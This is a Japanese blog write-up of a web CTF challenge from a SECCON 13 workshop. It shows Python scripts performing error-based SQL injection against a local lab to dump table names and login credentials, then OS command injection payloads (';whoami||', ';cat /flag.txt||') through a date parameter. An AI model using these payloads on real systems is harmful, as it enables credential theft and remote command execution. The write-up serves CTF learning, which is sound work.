4
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

writeup - RWPL Workshop in SECCON 13 電脳会議

Last updated at Posted at 2025-03-03

概要

SECCON 13 電脳会議でRWPL様のワークショップに参加させていただきました。今回はそこで出題された問題のwriteupとなります(2025/03/03時点ではwebのみ)。

RWPL official page:

Problem:

tommorow(web)

SQLi

web-login.png
まずはログインページを突破します。

ルートディレクトリに消し忘れたコメントがありました。

<body>
  <div class="container">
    <h1>Hello :)</h1>
    <p class="message"><a href="/login">ログイン</a></p>
    <!-- robots.txt -->
  </div>
</body>

/robots.txtから、さらに/creditsディレクトリを見つけました。

robots.txt
User-agent: *
Disallow: /credits

/creditsへ進むと、最後のほうでヒントが確認できます。

credits
{
  "team": "RWPL",
  "members": [
    {
      "name": "l3ickey",
      "role": [
        "root"
      ],
      "sns": "https://x.com/l3ickey"
    },
    {
      "name": "gua",
      "role": [
        "root"
      ],
      "sns": "\u003Cscript\u003Ealert()\u003C/script\u003E"
    },
    {
      "name": "c10ne",
      "role": [
        "staff"
      ],
      "sns": "502 Bad Gateway"
    },
    {
      "name": "fuku_uma",
      "role": [
        "staff"
      ],
      "sns": "https://x.com/fuku_umaiux"
    },
    {
      "name": "k1rnt",
      "role": [
        "staff",
        "Lab構築"
      ],
      "sns": "https://x.com/k1rnt"
    },
    {
      "name": "J0hn",
      "role": [
        "Lab構築"
      ],
      "sns": "https://x.com/J0hnSm1thyk"
    },
    {
      "name": "ぐり",
      "role": [
        "Lab構築"
      ],
      "sns": "https://x.com/GlionSecurity"
    },
    {
      "name": "y0d3n",
      "role": [
        "レビュー",
        "応援"
      ],
      "sns": "https://x.com/y0d3n"
    }
  ],
  "hint-1": "SQL Error: Error: XPATH syntax error"
}

このヒントから、Error based SQL injectionを行うと推測できます。
以下のサイトを参考にして進めていきましょう。

まずはテーブルを列挙してみます。

solver_1.py
import requests

url = 'http://localhost:3000/login'

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

for i in range(100):
    payload = "email='+AND+ExtractValue('',Concat('=',(SELECT+table_name+FROM+information_schema.tables+LIMIT+%d,1)))-- " % i
    response = requests.post(url, data=payload, headers=headers)
    print(response.text)
$ python3 solver_1.py
SQL Error: Error: XPATH syntax error: '=ADMINISTRABLE_ROLE_AUTHORIZATIO'
SQL Error: Error: XPATH syntax error: '=APPLICABLE_ROLES'
SQL Error: Error: XPATH syntax error: '=CHARACTER_SETS'
SQL Error: Error: XPATH syntax error: '=CHECK_CONSTRAINTS'
SQL Error: Error: XPATH syntax error: '=COLLATIONS'
...
SQL Error: Error: XPATH syntax error: '=variables_metadata'
SQL Error: Error: XPATH syntax error: '=users'
メールアドレスか、パスワードが違います
...

usersテーブルを発見しました。
/loginからemailpasswordカラムが存在することはわかっているので、このままフィールドを取っていきます。

solver_2.py
import requests

url = 'http://localhost:3000/login'

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

columns = ['email', 'password']

for i in columns:
    payload = "email='+AND+ExtractValue('',Concat('=',(SELECT+%s+FROM+users+LIMIT+0,1)))--+-" % i
    response = requests.post(url, data=payload, headers=headers)
    print(response.text)
$ python3 solver_2.py
SQL Error: Error: XPATH syntax error: '=rwpl@tommorow.example.com'
SQL Error: Error: XPATH syntax error: '=sUp3r_Str0ng_RWPL_P@ssw0rd'

認証情報を入手できたので、ログインします。
(email: rwpl@tommorow.example.com
password: sUp3r_Str0ng_RWPL_P@ssw0rd)

OSCi

web-after-login.png
明日の日付(/tommorow?day=1)に進むと、次の内容が表示されます。

1日後は2025-03-04
ですね ;)

dayパラメータをほかの数字に変えると、日付に反映されるようです。

このdayパラメータに文字列を入力すると、エラーを発生させることができました。

aa日後はCommand failed: date '+%Y-%m-%d' -d 'aa day'
date: invalid date ‘aa day’
ですね ;)

ここから、date '+%Y-%m-%d' -d '{input} day'が実行されていることがわかります。
シングルクォーテーションで閉じる形をとれば、OSコマンドインジェクションができそうです。
例として、/tommorow?day=';whoami||'(/tommorow?day=%27;whoami||%27)にアクセスします。

';whoami||'日後は2025-03-03
rwpl
ですね ;)

しっかり動作しています。
あとは、whoamiの部分にflag.txtを読ませるコマンドを入れて完成です。

/tommorow?day=';ls /||'
';ls /||'日後は2025-03-03
app
bin
dev
etc
flag.txt
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
ですね ;)
/tommorow?day=';cat /flag.txt||'
';cat /flag.txt||'日後は2025-03-03
***************************ですね ;)

xorpwnxor(pwn)

coming soon...
(全然わからなかったのでtak💀yassan様のwriteup見て解こうと思います)

最後に

今回はSECCON 13 電脳会議 / RWPL Workshopに参加させていただきました。2025年度はCTFの技術磨きということで様々なCTFに参戦しつつ自分の得意分野をよりはっきりさせていきたいと思います(もちろん人脈作りも...)。

併せて、
来週からpicoCTFなので、中学生で参加できる方は誘ってもらえると幸いです!((

4
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?